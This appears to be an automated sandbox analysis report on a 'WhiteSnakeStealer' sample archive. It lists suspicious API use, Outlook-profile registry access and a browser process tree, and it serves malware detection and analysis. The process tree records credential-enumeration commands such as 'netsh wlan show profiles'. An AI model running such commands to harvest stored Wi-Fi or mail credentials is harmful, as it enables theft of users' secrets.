Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe
Token: SeShutdownPrivilege	5020	chrome.exe
Token: SeCreatePagefilePrivilege	5020	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
5020	chrome.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4168	msedge.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe
6328	taskmgr.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
4840	firefox.exe
5444	a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 5084	5020	chrome.exe	116
PID 5020 wrote to memory of 5084	5020	chrome.exe	116
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 1168	5020	chrome.exe	118
PID 5020 wrote to memory of 3672	5020	chrome.exe	119
PID 5020 wrote to memory of 3672	5020	chrome.exe	119
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120
PID 5020 wrote to memory of 884	5020	chrome.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\WhiteSnakeStealer Samples.zip"
1⤵
PID:3520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1164

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xf8,0x120,0x124,0xfc,0x128,0x7ffc36be9758,0x7ffc36be9768,0x7ffc36be9778
  2⤵
  PID:5084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1776 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:2
  2⤵
  PID:1168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:3672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2260 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3164 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:2268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3140 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:3656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4792 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:3292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1764 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:1600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5072 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:4176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5292 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:4280
- C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  PID:4396
- - C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x254,0x258,0x25c,0x230,0x260,0x7ff704107688,0x7ff704107698,0x7ff7041076a8
    3⤵
    PID:4892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5416 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:64
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=3860 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5264 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:1504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5388 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:1
  2⤵
  PID:3268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5676 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  - Modifies registry class
  PID:3524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5628 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2428 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3144 --field-trial-handle=1936,i,7416157986962833785,10256764891931456389,131072 /prefetch:8
  2⤵
  PID:9628

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffc36db46f8,0x7ffc36db4708,0x7ffc36db4718
  2⤵
  PID:4600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2012 /prefetch:2
  2⤵
  PID:2944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:8
  2⤵
  PID:1096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
  2⤵
  PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
  2⤵
  PID:440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5096 /prefetch:1
  2⤵
  PID:5340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
  2⤵
  PID:5332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:1
  2⤵
  PID:5896
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1016
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:7048
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:7088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3608 /prefetch:1
  2⤵
  PID:5888
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 /prefetch:8
  2⤵
  PID:5916
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:5796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
  2⤵
  PID:5580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5648 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
  2⤵
  PID:9452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4752 /prefetch:1
  2⤵
  PID:10008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
  2⤵
  PID:10016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
